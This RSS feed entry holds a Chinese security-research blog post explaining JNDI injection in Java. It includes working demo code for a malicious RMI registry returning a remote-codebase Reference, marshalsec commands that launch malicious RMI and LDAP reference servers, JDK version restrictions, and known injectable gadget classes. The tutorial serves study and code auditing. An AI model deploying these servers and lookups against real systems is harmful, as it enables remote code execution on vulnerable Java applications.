<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LDAP &#8211; ChaBug安全</title>
	<atom:link href="/tags/ldap/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 09 Apr 2020 03:34:45 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>攻击Java中的JNDI、RMI、LDAP（二）</title>
		<link>/audit/1444.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 03:34:45 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jndi]]></category>
		<category><![CDATA[LDAP]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1444</guid>

					<description><![CDATA[上文我简述了JNDI，本文我将演示如何攻击JNDI。 JNDI注入 这个东西是BlackHat 2016（USA）的一个议题 &#8220;A Journey From JNDI ...]]></description>
										<content:encoded><![CDATA[<p>上文我简述了JNDI，本文我将演示如何攻击JNDI。</p>
<h2>JNDI注入</h2>
<p>这个东西是BlackHat 2016（USA）的一个议题 <a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">&#8220;A Journey From JNDI LDAP Manipulation To RCE&#8221;</a> 提出的。他的攻击步骤可以概括为以下几步：</p>
<ol>
<li>服务端实例化JNDI InitialContext请求attacker的恶意<span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>Server</li>
<li>InitialContext初始化期间lookup rmi://attacker/Obj</li>
<li>恶意RMIServer返回JNDI Reference</li>
<li>服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类</li>
<li>恶意RMIServer返回的工厂类中带有static块的Java代码，造成任意代码执行</li>
</ol>
<h2>攻击JNDI</h2>
<p>作者水平有限，本文仅讲述以下几种攻击JNDI的方法。<br />
1. JNDI 配合 RMI Remote Object(codebase)<br />
2. JNDI Reference 配合 RMI<br />
3. JNDI Reference 配合 <span class="wpcom_tag_link"><a href="/tags/ldap" title="LDAP" target="_blank">LDAP</a></span></p>
<h3>RMI Remote Object</h3>
<p>在早期Java是可以运行在浏览器中的，也就是Applet。使用Applet通常需要指定一个codebase参数，比如：</p>
<pre><code class="language-java ">&lt;applet code="HelloWorld.class" codebase="Applets" width="800" height="600"&gt;&lt;/applet&gt;
</code></pre>
<p>codebase是一个类地址，它告诉Java应该从哪里寻找class，就像classpath一样，但与classpath不一样的是codebase如果从本地加载不到，就会从远程地址中加载。如果codebase地址可控，在RMI中，codebase是和序列化数据一起传输的，所以会造成RCE。</p>
<p>但是codebase需要满足两个条件：</p>
<ol>
<li>安装并配置了SecurityManager</li>
<li>Java版本低于7u21、6u45，或者设置了 <code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi.server.useCodebaseOnly=false</code></li>
</ol>
<p>官方将 <code>java.rmi.server.useCodebaseOnly</code> 的默认值由 false 改为了 true 。 <code>java.rmi.server.useCodebaseOnly</code>配置为 true 的情况下，Java虚拟机将只信任预先配置好的 <code>codebase</code>，不再支持从RMI请求中获取。所以这个东西特别鸡肋。</p>
<p>在大多数情况下，你可以在命令行上通过属性 <code>java.rmi.server.codebase</code> 来设置Codebase。</p>
<p>例如，如果所需的类文件在Webserver的根目录下，那么设置Codebase的命令行参数如下（如果你把类文件打包成了jar，那么设置Codebase时需要指定这个jar文件）</p>
<pre><code class="language-bash ">-Djava.rmi.server.codebase=http://url:8080/
</code></pre>
<p>当接收程序试图从该URL的Webserver上下载类文件时，它会把类的包名转化成目录，在Codebase 的对应目录下查询类文件，如果你传递的是类文件 com.project.test ，那么接受方就会到下面的URL去下载类文件：</p>
<pre><code class="">http://url:8080/com/project/test.class
</code></pre>
<h3>JNDI Reference配合RMI</h3>
<p>看一下演示代码，同样本文仍然使用的是<a class="wp-editor-md-post-content-link" href="https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms">Longofo</a>师傅的代码。</p>
<pre><code class="language-java ">package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
</code></pre>
<pre><code class="language-java ">package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//        Properties env = new Properties();
//        env.put(Context.INITIAL_CONTEXT_FACTORY,
//                "com.sun.jndi.rmi.registry.RegistryContextFactory");
//        env.put(Context.PROVIDER_URL,
//                "rmi://localhost:9999");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // 下面这行是我自己加的 8u221需要 原因看下文
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        DirContext dirc = new InitialDirContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}
</code></pre>
<p>在RMIClient1.java中，我把<code>com.sun.<span class="wpcom_tag_link"><a href="/tags/jndi" title="jndi" target="_blank">jndi</a></span>.ldap.object.trustURLCodebase</code>设置为true，没加上之前一直不成功，一步一步跟一下才解决问题，看下我的分析步骤：</p>
<p>跟进lookup，然后在<code>javax/naming/spi/NamingManager.java:146</code>会尝试从本地加载类<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/85a522d4-e055-58af-d92e-affc2f68e062.png" alt="image.png" /></p>
<p>如不在classpath中会尝试从codebase加载<br />
<img src="/wp-content/uploads/2020/04/ec3608e4-7164-85dd-5443-ff7faa273365.png" alt="image.png" /></p>
<p>跟进loadClass</p>
<pre><code class="language-java ">public Class&lt;?&gt; loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
            URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}
</code></pre>
<p>发现依据<code>trustURLCodebase</code>的值来判断是否加载，在类的属性中发现<code>trustURLCodebase</code>取决于<code>com.sun.jndi.ldap.object.trustURLCodebase</code>的值。堆栈</p>
<pre><code class="language-java ">loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:24, RMIClient1 (com.longofo.jndi)
</code></pre>
<pre><code class="language-java ">private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
    AccessController.doPrivileged(
    new PrivilegedAction&lt;String&gt;() {
        public String run() {
            try {
                return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                                          "false");
            } catch (SecurityException e) {
                return "false";
            }
        }
    }
);
</code></pre>
<p>最后的效果就是这样</p>
<p><img src="/wp-content/uploads/2020/04/0cdaf07e-4ee7-e925-eb37-8ecbdbc26c30.png" alt="image.png" /></p>
<p>在实战用我更倾向于使用marshalsec来起RMI恶意服务，RMI服务端口号默认为1099</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099
</code></pre>
<p>你仍然需要自己启动web服务</p>
<h3>JNDI Reference配合LDAP</h3>
<p>在上文中说过，JNDI一般配合RMI、LDAP等协议进行使用，所以上文中有RMI，自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务，LDAP服务默认端口号为1389。</p>
<pre><code class="language-bash ">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
</code></pre>
<h2>JNDI注入的JDK版本限制</h2>
<p>由于JNDI注入动态加载的原理是使用Reference引用Object Factory类，其内部在上文中也分析到了使用的是URLClassLoader，所以不受<code>java.rmi.server.useCodebaseOnly=false</code>属性的限制。</p>
<p>但是不可避免的受到 <code>com.sun.jndi.rmi.object.trustURLCodebase</code>、<code>com.sun.jndi.cosnaming.object.trustURLCodebase</code>的限制。</p>
<ol>
<li>JDK 5U45、6U45、7u21、8u121 开始 <code>java.rmi.server.useCodebaseOnly</code> 默认配置为true</li>
<li>JDK 6u132、7u122、8u113 开始 <code>com.sun.jndi.rmi.object.trustURLCodebase</code> 默认值为false</li>
<li>JDK 11.0.1、8u191、7u201、6u211 <code>com.sun.jndi.ldap.object.trustURLCodebase</code> 默认为false</li>
</ol>
<p>一张图来展示JNDI注入的利用方式与JDK版本的关系：</p>
<p><img src="/wp-content/uploads/2020/04/0c2621c8-a2c3-fb3a-b27b-b8f0448863f4.png" alt="image.png" /></p>
<blockquote><p>
  图引用于 https://xz.aliyun.com/t/6633
</p></blockquote>
<p>小声逼逼:java每个版本的属性多多少少都有点不一样，对于搞安全的来讲实在是太累了:&lt;</p>
<h2>已知的JNDI注入</h2>
<p>对于JNDI注入，需要注意：</p>
<ol>
<li>仅由InitialContext或其子类初始化的Context对象（InitialDirContext或InitialLdapContext）容易受到JNDI注入攻击</li>
<li>InitialContext可以通过JNDI动态协议转换覆盖</li>
<li>InitialContext.rename()和InitialContext.lookupLink()最终也调用了lookup()</li>
</ol>
<p>还有一些包装类也调用了lookup()，比如：Spring的JndiTemplate。</p>
<ol>
<li><a class="wp-editor-md-post-content-link" href="https://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce">JtaTransactionManager</a> found by zerothinking</li>
<li><a class="wp-editor-md-post-content-link" href="https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html">com.sun.rowset.JdbcRowSetImpl</a> found by matthias_kaiser</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">javax.management.remote.rmi.RMIConnector.connect()</a> found by pwntester</li>
<li><a class="wp-editor-md-post-content-link" href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf">org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()</a> found by pwntester</li>
</ol>
<p>这些带佬是真的强&#8230;</p>
<h2>小结</h2>
<p>本文简述了如何攻击JNDI，以及一些限制条件，并且列举了一些已知的JNDI注入，解释了上文中留下来的坑。下文将讲述RMI。</p>
<h2>参考链接</h2>
<ol>
<li>https://paper.seebug.org/1091/</li>
<li>Java安全漫谈 &#8211; 05.RMI篇(2)</li>
<li>https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html</li>
<li>https://xz.aliyun.com/t/6633</li>
<li>https://javasec.org/javase/JNDI/</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
